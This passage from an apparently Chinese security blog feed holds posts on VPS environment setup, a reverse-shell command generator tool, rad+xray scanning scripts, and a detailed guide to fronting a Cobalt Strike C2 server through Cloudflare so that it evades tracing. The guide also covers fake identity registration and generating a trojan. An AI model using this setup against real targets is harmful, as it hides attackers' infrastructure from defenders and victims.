class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">wget https://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz</span><br><span class="line">tar zxvf ruby-3.1.2.tar.gz</span><br><span class="line">rm -rf ruby-3.1.2.tar.gz</span><br><span class="line"><span class="built_in">cd</span> ruby-3.1.2</span><br><span class="line">./configure</span><br><span class="line">make</span><br><span class="line">sudo make install</span><br></pre></td></tr></table></figure><h2 id="Go环境"><a href="#Go环境" class="headerlink" title="Go环境"></a>Go环境</h2><h3 id="1-Linux"><a href="#1-Linux" class="headerlink" title="1.Linux"></a>1.Linux</h3><p>go 官网 ：<a href="https://golang.org/dl/">https://golang.org/dl/</a></p><p>安装教程：<a href="https://www.runoob.com/go/go-environment.html">https://www.runoob.com/go/go-environment.html</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">wget https://golang.org/dl/go1.17.linux-amd64.tar.gz</span><br><span class="line">tar -C /usr/<span class="built_in">local</span> -xzf go1.17.linux-amd64.tar.gz</span><br><span class="line">rm -rf go1.17.linux-amd64.tar.gz go1.17.linux-amd64</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">vim /etc/profile</span><br><span class="line"><span class="comment"># go</span></span><br><span class="line"><span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$PATH</span>:/usr/local/go/bin&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br></pre></td></tr></table></figure><p>设置国内代理 !!!!    VPS在国外可忽略</p><p><a href="https://github.com/goproxy/goproxy.cn/blob/master/README.zh-CN.md">https://github.com/goproxy/goproxy.cn/blob/master/README.zh-CN.md</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> GO111MODULE=on</span><br><span class="line"><span class="built_in">export</span> GOPROXY=https://goproxy.cn</span><br></pre></td></tr></table></figure><h3 id="2-windows"><a href="#2-windows" class="headerlink" title="2.windows"></a>2.windows</h3><p>在powershell运行，切换国内代理。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$env</span>:GO111MODULE = <span class="string">&quot;on&quot;</span></span><br><span class="line"><span class="variable">$env</span>:GOPROXY = <span class="string">&quot;https://goproxy.cn&quot;</span></span><br></pre></td></tr></table></figure><h2 id="Docker-环境"><a href="#Docker-环境" class="headerlink" title="Docker 环境"></a>Docker 环境</h2><p>1.检查版本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /etc/redhat-release</span><br></pre></td></tr></table></figure><p>2.安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">yum install -y gcc gcc-c++</span><br><span class="line">yum remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-engine</span><br><span class="line">yum install -y yum-utils device-mapper-persistent-data lvm2 </span><br><span class="line">yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo</span><br><span class="line">yum makecache fast</span><br><span class="line">yum -y install docker-ce docker-ce-cli containerd.io docker-compose</span><br><span class="line">systemctl start docker</span><br><span class="line">systemctl <span class="built_in">enable</span> docker</span><br><span class="line">docker version</span><br><span class="line">docker run hello-world</span><br><span class="line">yum update -y</span><br><span class="line">curl -L https://github.com/docker/compose/releases/download/1.23.2/docker-compose-`uname -s`-`uname -m` -o /usr/bin/docker-compose</span><br><span class="line">chmod +x /usr/bin/docker-compose</span><br></pre></td></tr></table></figure><p>3.卸载docker</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">systemctl stop docker </span><br><span class="line">yum -y remove docker-ce</span><br><span class="line">rm -rf /var/lib/docker</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">在我们购买vps或者换服务器，要常常搭建环境，如python、go、java等，以及基础工具，持续更新~~</summary>
    
    
    
    <category term="vps环境" scheme="https://fz1lin.com/categories/vps%E7%8E%AF%E5%A2%83/"/>
    
    
    <category term="vps" scheme="https://fz1lin.com/tags/vps/"/>
    
    <category term="环境" scheme="https://fz1lin.com/tags/%E7%8E%AF%E5%A2%83/"/>
    
  </entry>
  
  <entry>
    <title>SwordHost 工具开发</title>
    <link href="https://fz1lin.com/2023/3601054436/"/>
    <id>https://fz1lin.com/2023/3601054436/</id>
    <published>2023-02-08T05:26:27.000Z</published>
    <updated>2023-02-08T05:32:22.818Z</updated>
    
    <content type="html"><![CDATA[<h1 id="SwordHost"><a href="#SwordHost" class="headerlink" title="SwordHost"></a>SwordHost</h1><p>SwordHost 渗透测试辅助工具箱，参考了，大量的开源项目，有网页版生成payload的，但是不满足现在所需，如果二开需要服务器，很麻烦，如果有多个测试节点，每次输入很麻烦，而且Java有些需要编码，每次都需要找在线网站，很麻烦，因此SwordHost诞生了，由 Java 8 编写，向上兼容，适用于多个平台，双击即可运行，里面集成了，渗透测试常用的小工具。</p><p>经过几个版本的内部迭代，新版本已经发布，具体请访问 <a href="https://github.com/fz1lin/SwordHost">GitHub</a></p><p>如果师傅们有好的建议，可以发邮箱或者<a href="https://github.com/fz1lin/SwordHost/issues">issues</a>，也可以PR</p><p>具体使用说明，请访问GitHub地址：<a href="https://github.com/fz1lin/SwordHost">https://github.com/fz1lin/SwordHost</a></p>]]></content>
    
    
    <summary type="html">渗透测试辅助工具箱，反弹shell，命令生成器，输入对应IP端口即可，实现一劳永逸</summary>
    
    
    
    <category term="工具开发" scheme="https://fz1lin.com/categories/%E5%B7%A5%E5%85%B7%E5%BC%80%E5%8F%91/"/>
    
    
    <category term="Java" scheme="https://fz1lin.com/tags/Java/"/>
    
    <category term="tools" scheme="https://fz1lin.com/tags/tools/"/>
    
  </entry>
  
  <entry>
    <title>CS 域前置+流量混淆</title>
    <link href="https://fz1lin.com/2022/937989325/"/>
    <id>https://fz1lin.com/2022/937989325/</id>
    <published>2022-11-20T03:50:01.000Z</published>
    <updated>2022-11-20T03:56:16.417Z</updated>
    
    <content type="html"><![CDATA[<h2 id="0x01环境"><a href="#0x01环境" class="headerlink" title="0x01环境"></a>0x01环境</h2><p>c2 服务器：cs 4.7</p><p>服务器端：CentOS 7</p><p>客户端：win10</p><p>语言：Java 11</p><h2 id="0x02-概述"><a href="#0x02-概述" class="headerlink" title="0x02 概述"></a>0x02 概述</h2><p>上线原理为 受害者主机运行木马—–&gt;CDN—-&gt;cs服务器收到上线</p><p>执行操作原理为 cs服务器执行命令—–&gt;CDN接收—–&gt;受害者主机执行命令</p><p>架构：</p><p><a href="http://freenom.com/" title="freenom.com">freenom.com</a> + <a href="http://cloudflare.com/" title="cloudflare.com">cloudflare.com</a> + vps</p><p>freenom 作为免费的域名，cloudfare作为CDN</p><p>域名+CDN+VPS&#x20;</p><h2 id="0x03-注册申请相关"><a href="#0x03-注册申请相关" class="headerlink" title="0x03 注册申请相关"></a>0x03 注册申请相关</h2><h3 id="1-freenom"><a href="#1-freenom" class="headerlink" title="1.freenom"></a>1.freenom</h3><p>具体注册可以参考这个</p><p><a href="https://zhuanlan.zhihu.com/p/115535965" title="https://zhuanlan.zhihu.com/p/115535965">https://zhuanlan.zhihu.com/p/115535965</a></p><p>&#x20;<a href="https://www.freenom.com/" title="https://www.freenom.com/">https://www.freenom.com/</a></p><p>先在搜索框输入任意的域名，然后检查可用性</p><p><img src="/2022/937989325/image_rJEFG6jZ6A-16689164290512.png"></p><p>选择购买多长时间，然后点击继续</p><p><img src="/2022/937989325/image_puMVD6k9Hp-16689164290501.png"></p><p>然后选择邮箱，最好是Google邮箱，临时邮箱注册不了</p><p><img src="/2022/937989325/image_m4YuhzdQYZ-16689164290513.png"></p><p>后面需要填写真实身份，不然注册不上，可以使用随机身份生成一个</p><p><a href="https://www.shenfendaquan.com/" title="https://www.shenfendaquan.com/">https://www.shenfendaquan.com/</a>，然后填写对应的就行了</p><p>至此，注册及申请完成。你会得到一个域名。</p><h3 id="2-CloudFlare"><a href="#2-CloudFlare" class="headerlink" title="2.CloudFlare"></a>2.CloudFlare</h3><p>这个是CDN</p><p><a href="https://www.cloudflare.com/zh-cn/" title="https://www.cloudflare.com/">https://www.cloudflare.com/</a></p><p>直接用临时邮箱注册一个即可</p><p><a href="https://temp-mail.org/zh/" title="https://temp-mail.org/zh/">https://temp-mail.org/zh/</a></p><h2 id="0x04-绑定服务器"><a href="#0x04-绑定服务器" class="headerlink" title="0x04 绑定服务器"></a>0x04 绑定服务器</h2><p>将freenom 购买的域名添加进去</p><p>可以参考这个</p><p><a href="https://blog.csdn.net/weixin_42891146/article/details/122209661" title="https://blog.csdn.net/weixin_42891146/article/details/122209661">https://blog.csdn.net/weixin_42891146/article/details/122209661</a></p><h3 id="1-添加站点"><a href="#1-添加站点" class="headerlink" title="1.添加站点"></a>1.添加站点</h3><p><img src="/2022/937989325/image_UVxPdhuqxz-16689164290514.png"></p><p>选择免费的即可</p><p><img src="/2022/937989325/image_OBFQK8nxwB-16689164290515.png"></p><p>复制 nameserver1 和 nameserver2的内容</p><p><img src="/2022/937989325/image_pVFx8hfKus-16689164290516.png"></p><h3 id="2-CDN绑定域名"><a href="#2-CDN绑定域名" class="headerlink" title="2.CDN绑定域名"></a>2.CDN绑定域名</h3><p>选择Services→MyDomains</p><p><img src="/2022/937989325/image_tTI8V-rHk--16689164290517.png"></p><p>选择Manage Domain</p><p><img src="/2022/937989325/image_yFhgVBAoVR-16689164290518.png"></p><p>选择Nameservers</p><p><img src="/2022/937989325/image_KakkEqhHXF-16689164290519.png"></p><p>将CloudFlare两个地址填进去</p><p><img src="/2022/937989325/image_L6MgdGHo-6-166891642905110.png"></p><p>返回CloudFlare 去看，这个需要等一会，等到 active 即可</p><p><img src="/2022/937989325/image_BweIR-Yool-166891642905111.png"></p><h3 id="3-设置解析"><a href="#3-设置解析" class="headerlink" title="3.设置解析"></a>3.设置解析</h3><p>添加一个 A记录 <a href="http://www.xxx.tk/">www.xxx.tk</a>  content 为ip地址</p><p>最终域名为  <a href="http://www.xxx.tk/">www.xxx.tk</a></p><p><img src="/2022/937989325/image_TNhkoWiXG_-166891642905112.png"></p><p>配置这个</p><p><img src="/2022/937989325/image_HM52RQYZLY-166891642905113.png"></p><p>以此往下关闭即可</p><p><img src="/2022/937989325/image_g36-1-C_tX-166891642905214.png"></p><p><img src="/2022/937989325/image_eKhEpGv2jl-166891642905215.png"></p><p><img src="/2022/937989325/image_c6YR65KgUo-166891642905216.png"></p><h3 id="4-测试"><a href="#4-测试" class="headerlink" title="4.测试"></a>4.测试</h3><p>vps 访问开启80端口</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -m http.server <span class="number">80</span></span><br></pre></td></tr></table></figure><p><a href="http://www.xxx.tk/">http://www.xxx.tk</a> 域名可以看到内容</p><p>然后访问域名的80端口测试</p><p><img src="/2022/937989325/image_B19lRxrjEX-166891642905217.png"></p><p>ping域名看看</p><p><img src="/2022/937989325/image_0lwg7wkQ8t-166891642905218.png"></p><p>至此绑定已经完成</p><h2 id="0x05-HTTPS-加密"><a href="#0x05-HTTPS-加密" class="headerlink" title="0x05 HTTPS 加密"></a>0x05 HTTPS 加密</h2><p>参考这个</p><p><a href="https://cn-sec.com/archives/1168150.html" title="https://cn-sec.com/archives/1168150.html">https://cn-sec.com/archives/1168150.html</a></p><p><a href="https://blog.csdn.net/weixin_42891146/article/details/122209661" title="https://blog.csdn.net/weixin_42891146/article/details/122209661">https://blog.csdn.net/weixin_42891146/article/details/122209661</a></p><p>生成www.xxx.tk.store</p><p>创建证书</p><p><img src="/2022/937989325/image_Qwz9ppZjkl-166891642905219.png"></p><p><img src="/2022/937989325/image_awd5tWXjx5-166891642905220.png"></p><p>复制证书创建txt导入，修改文件名为xxxx.pem</p><p>复制私钥创建txt导入，修改文件名为xxxx.key</p><p>将创建的pem和key文件上传至云服务器。执行以下命令（<a href="http://www.xxx.com为申请的域名)/">www.xxx.com为申请的域名）</a></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:<span class="number">123456</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">keytool -importkeystore -deststorepass <span class="number">123456</span> -destkeypass <span class="number">123456</span> -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass <span class="number">123456</span> -alias www.xxx.com</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="0x06-流量混淆"><a href="#0x06-流量混淆" class="headerlink" title="0x06 流量混淆"></a>0x06 流量混淆</h2><h3 id="1-配置profile文件"><a href="#1-配置profile文件" class="headerlink" title="1.配置profile文件"></a>1.配置profile文件</h3><p>GitHub有很多，具体可以自己找，搜索 profile 关键字即可</p><p><a href="https://github.com/threatexpress/malleable-c2" title="https://github.com/threatexpress/malleable-c2">https://github.com/threatexpress/malleable-c2</a></p><p>这里我用的是这个，因为我的cs是4.7的所以用4.7的 profile</p><p><img src="/2022/937989325/image_KMCqL-iR_F-166891642905221.png"></p><h4 id="https-certificate"><a href="#https-certificate" class="headerlink" title="https-certificate"></a>https-certificate</h4><p>打开下载好的jquery-Profile</p><p>一个是https-certificate模块中的<code>keystore</code>和<code>password</code>，修改后把注释去掉</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//原文件</span></span><br><span class="line"># set keystore <span class="string">&quot;/pathtokeystore&quot;</span>;</span><br><span class="line"># set password <span class="string">&quot;password&quot;</span>;</span><br><span class="line">修改为，要带 store</span><br><span class="line">set keystore <span class="string">&quot;www.xxx.tk.store&quot;</span></span><br><span class="line">set password <span class="string">&quot;123456&quot;</span></span><br></pre></td></tr></table></figure><p><img src="/2022/937989325/image_nNxx7rRVvy-166891642905222.png"></p><h4 id="http-stager"><a href="#http-stager" class="headerlink" title="http-stager"></a>http-stager</h4><p>修改http-stager 中的Host和Referer及Content-Type。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// server 中 Content-Type</span></span><br><span class="line">header <span class="string">&quot;Content-Type&quot;</span> <span class="string">&quot;application/javascript; charset=utf-8&quot;</span>;</span><br><span class="line">修改为：</span><br><span class="line">header <span class="string">&quot;Content-Type&quot;</span> <span class="string">&quot;application/*; charset=utf-8&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// client Host和Referer</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2022/937989325/image_MKSt_peDur-166891642905223.png"></p><h4 id="http-get"><a href="#http-get" class="headerlink" title="http-get"></a>http-get</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// server 中 Content-Type</span></span><br><span class="line">header <span class="string">&quot;Content-Type&quot;</span> <span class="string">&quot;application/javascript; charset=utf-8&quot;</span>;</span><br><span class="line">修改为：</span><br><span class="line">header <span class="string">&quot;Content-Type&quot;</span> <span class="string">&quot;application/*; charset=utf-8&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// client Host和Referer</span></span><br></pre></td></tr></table></figure><p><img src="/2022/937989325/image_31kA0GjjRB-166891642905224.png"></p><h4 id="http-post"><a href="#http-post" class="headerlink" title="http-post"></a>http-post</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// server 中 Content-Type</span></span><br><span class="line">header <span class="string">&quot;Content-Type&quot;</span> <span class="string">&quot;application/javascript; charset=utf-8&quot;</span>;</span><br><span class="line">修改为：</span><br><span class="line">header <span class="string">&quot;Content-Type&quot;</span> <span class="string">&quot;application/*; charset=utf-8&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// client Host和Referer</span></span><br></pre></td></tr></table></figure><p><img src="/2022/937989325/image_IUjxrRvbKP-166891642905225.png"></p><p>在这个Profile中，我们请求的URI是以.js结尾的，Cloudflare作为一个CDN肯定要去缓存它，但这样的话请求就无法到达我们的CS服务器，自然也就无法上线了。使用开发模式并清除缓存（这个只能缓存两个小时）。</p><p><img src="/2022/937989325/image_5_qH7dfeLV-166891642905226.png"></p><p>设置规则，不让CloudFlare 进行缓存</p><p><img src="/2022/937989325/image_O-guBwLDJN-166891642905227.png"></p><h3 id="2-测试"><a href="#2-测试" class="headerlink" title="2.测试"></a>2.测试</h3><p>将修改的jquery-c2.4.3.profile 上传vps上面</p><p>在修改完成后，使用CS自带的c2lint对profile语法进行检查，没有报错的话说明配置是对的。</p><p>4.7 不带这个 c2lint 直接运行如下，如果没有错误说明正确，如果有错误会提示profile哪一行出现问题</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./teamserver <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> password jquery-c2<span class="number">.4</span><span class="number">.3</span>.profile</span><br></pre></td></tr></table></figure><h2 id="0x07-测试上线"><a href="#0x07-测试上线" class="headerlink" title="0x07 测试上线"></a>0x07 测试上线</h2><h3 id="1-启动cs服务器"><a href="#1-启动cs服务器" class="headerlink" title="1.启动cs服务器"></a>1.启动cs服务器</h3><p><img src="/2022/937989325/image_ABtfm5v0Or-166891642905228.png"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./teamserver <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> password jquery-c2<span class="number">.4</span><span class="number">.3</span>.profile</span><br></pre></td></tr></table></figure><h3 id="2-新建监听器"><a href="#2-新建监听器" class="headerlink" title="2.新建监听器"></a>2.新建监听器</h3><p>!!! 注意：</p><p>如果CS的服务器是国内服务器且没有进行备案的话，是无法使用80、8080、443、8443端口提供服务的；如果服务器是国外服务器的话则无影响。Cloudflare的代理模式只有部分端口能够使用，使用时要注意端口的设置，否则是监听不到的。</p><p>Cloudflare 支持的 HTTP 端口：80、8080、8880、2052、2082、2086、2095</p><p>Cloudflare 支持的 HTTPS 端口：443、2053、2083、2087、2096、8443</p><p><img src="/2022/937989325/image__32jA1hix3-166891642905229.png"></p><h3 id="3-抓包测试"><a href="#3-抓包测试" class="headerlink" title="3.抓包测试"></a>3.抓包测试</h3><p>生成exe木马，抓包测试</p><p>是CDN 地址</p><h4 id="http流量"><a href="#http流量" class="headerlink" title="http流量"></a>http流量</h4><p><img src="/2022/937989325/image_yvrIZnrAr2-166891642905330.png"></p><p><img src="/2022/937989325/image_vLy2U_dV5_-166891642905331.png"></p><h4 id="https-流量"><a href="#https-流量" class="headerlink" title="https 流量"></a>https 流量</h4><p><img src="/2022/937989325/image_3sZB7Ts5HV-166891642905332.png"></p><p><img src="/2022/937989325/image_Q57TIUwyUj-166891642905333.png"></p><p><img src="/2022/937989325/image_BZVnsaXzn5-166891642905334.png"></p><h4 id="powershel"><a href="#powershel" class="headerlink" title="powershel"></a>powershel</h4><p>如果不上线检查一下window的实时防护</p><p><img src="/2022/937989325/image_OMAH06ggbP-166891642905335.png"></p><p><img src="/2022/937989325/image_5q1ozVF71W-166891642905336.png"></p><p><img src="/2022/937989325/image_brimetYTCl-166891642905337.png"></p><p>查看端口建立情况，可以查看，我们监听的http的端口是8880，这个地址</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netstat -ant </span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2022/937989325/image_Gzm1dDeLDv-166891642905338.png"></p><p><img src="/2022/937989325/image_VURPb6YgVY-166891642905339.png"></p><h2 id="0x08-修改端口"><a href="#0x08-修改端口" class="headerlink" title="0x08 修改端口"></a>0x08 修改端口</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./TeamServerImage -Dcobaltstrike.server_port=<span class="number">48951</span> -Dcobaltstrike.server_bindto=<span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=<span class="number">123456</span> teamserver $*</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2022/937989325/image_u3V-TVGnM7-166891642905340.png"></p><p>可作为参考的链接</p><p><a href="https://cloud.tencent.com/developer/article/1952637" title="https://cloud.tencent.com/developer/article/1952637">https://cloud.tencent.com/developer/article/1952637</a></p><p><a href="https://www.wangan.com/p/7fy7475c1903ed27" title="https://www.wangan.com/p/7fy7475c1903ed27">https://www.wangan.com/p/7fy7475c1903ed27</a></p><p><a href="https://www.exterminate-dog.com/2022/01/17/2022004/" title="https://www.exterminate-dog.com/2022/01/17/2022004/">https://www.exterminate-dog.com/2022/01/17/2022004/</a></p><p><a href="https://cn-sec.com/archives/1168150.html" title="https://cn-sec.com/archives/1168150.html">https://cn-sec.com/archives/1168150.html</a></p><p><a href="https://xz.aliyun.com/t/5728" title="https://xz.aliyun.com/t/5728">https://xz.aliyun.com/t/5728</a></p><p><a href="https://blog.csdn.net/weixin_42891146/article/details/122209661" title="https://blog.csdn.net/weixin_42891146/article/details/122209661">https://blog.csdn.net/weixin_42891146/article/details/122209661</a></p><p><a href="https://toutiao.io/posts/d3yizxm/preview" title="https://toutiao.io/posts/d3yizxm/preview">https://toutiao.io/posts/d3yizxm/preview</a></p>]]></content>
    
    
    <summary type="html">cs域前置，用于红队隐藏，真实服务器IP，防止被溯源</summary>
    
    
    
    <category term="红队建设" scheme="https://fz1lin.com/categories/%E7%BA%A2%E9%98%9F%E5%BB%BA%E8%AE%BE/"/>
    
    
    <category term="vps" scheme="https://fz1lin.com/tags/vps/"/>
    
    <category term="cs" scheme="https://fz1lin.com/tags/cs/"/>
    
  </entry>
  
  <entry>
    <title>rad+xray在Linux运行的踩坑记录</title>
    <link href="https://fz1lin.com/2022/794027888/"/>
    <id>https://fz1lin.com/2022/794027888/</id>
    <published>2022-02-24T12:44:31.000Z</published>
    <updated>2022-08-26T10:03:07.905Z</updated>
    
    <content type="html"><![CDATA[<h2 id="0x01-安装-xray-和-rad"><a href="#0x01-安装-xray-和-rad" class="headerlink" title="0x01 安装 xray 和 rad"></a>0x01 安装 xray 和 rad</h2><p>版本 1.0 基础功能 2022.2.24</p><p>版本 2.0 增加 screen 2022.8.13</p><p>运行环境</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">centos</span> <span class="number">7</span></span><br></pre></td></tr></table></figure><p>xray <a href="https://github.com/chaitin/xray">https://github.com/chaitin/xray</a></p><p>rad <a href="https://github.com/chaitin/rad">https://github.com/chaitin/rad</a></p><p>安装就不用多说了，安装Linux版的就行了</p><h2 id="0x02-运行脚本"><a href="#0x02-运行脚本" class="headerlink" title="0x02 运行脚本"></a>0x02 运行脚本</h2><p>脚本介绍：rad+xray 融合，探测批量目标</p><p>这个脚本是在 window下运行的，所以你要把xray.exe该成你Linux版xray的名字</p><p>根据你自己需要选择即可</p><p><a href="https://github.com/timwhitez/rad-xray">https://github.com/timwhitez/rad-xray</a></p><p>运行脚本会发现出现错误，no chrome found，因为 rad 运行需要 chrome 浏览器，所以要安装chrome浏览器</p><p>防脚本丢失-将原文贴过来了（如有侵权请邮箱联系我删除）。</p><h3 id="社区版用户"><a href="#社区版用户" class="headerlink" title="社区版用户"></a>社区版用户</h3><p>url一行一个放url.txt中，和rad放同文件夹</p><p>xray开启监听，</p><p>./xray webscan –listen 127.0.0.1:7777 –html-output report__datetime__.html</p><p>运行py</p><p>python3 rad+xray.py</p><p>注意：单个任务结束后会kill所有的chrome进程</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"><span class="keyword">import</span> platform</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>(<span class="params">data1</span>):</span></span><br><span class="line">target = data1</span><br><span class="line"><span class="built_in">print</span>(target + <span class="string">&quot; Start Crawling&quot;</span>)</span><br><span class="line">cmd = [<span class="string">&quot;./rad&quot;</span>,<span class="string">&quot;-t&quot;</span>,target,<span class="string">&quot;--auto-index&quot;</span>, <span class="string">&quot;--http-proxy&quot;</span>, <span class="string">&quot;127.0.0.1:7777&quot;</span>, <span class="string">&quot;--no-banner&quot;</span>]</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">output = subprocess.check_output(cmd, timeout=<span class="number">3600</span>)</span><br><span class="line"><span class="built_in">print</span>(output.decode(<span class="string">&quot;utf-8&quot;</span>))</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"><span class="comment">#print(e)</span></span><br><span class="line"><span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__==<span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">sysstr = platform.system()</span><br><span class="line">file = <span class="built_in">open</span>(<span class="string">&quot;url.txt&quot;</span>)</span><br><span class="line"><span class="keyword">for</span> text <span class="keyword">in</span> file.readlines():</span><br><span class="line">data1=text.strip(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">main(data1)</span><br><span class="line"><span class="built_in">print</span>(data1 + <span class="string">&quot; Finish&quot;</span>)</span><br><span class="line">time.sleep(<span class="number">10</span>)</span><br><span class="line"><span class="comment">#清除多余浏览器进程</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="keyword">if</span>(sysstr ==<span class="string">&quot;Windows&quot;</span>):</span><br><span class="line">os.system(<span class="string">&quot;taskkill /f /IM chrome*&quot;</span>)</span><br><span class="line"><span class="keyword">elif</span>(sysstr ==<span class="string">&quot;Linux&quot;</span>):</span><br><span class="line">os.system(<span class="string">&quot;ps aux | awk &#x27;/chrome/ &#123; print $2 &#125; &#x27; | xargs kill -9&quot;</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line"><span class="keyword">pass</span></span><br></pre></td></tr></table></figure><h3 id="高级版用户"><a href="#高级版用户" class="headerlink" title="高级版用户"></a>高级版用户</h3><p>url一行一个放url.txt中</p><p>xray+rad.py 和 xray 和 rad 放同一文件夹</p><p>运行py:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 xray+rad.py</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>(<span 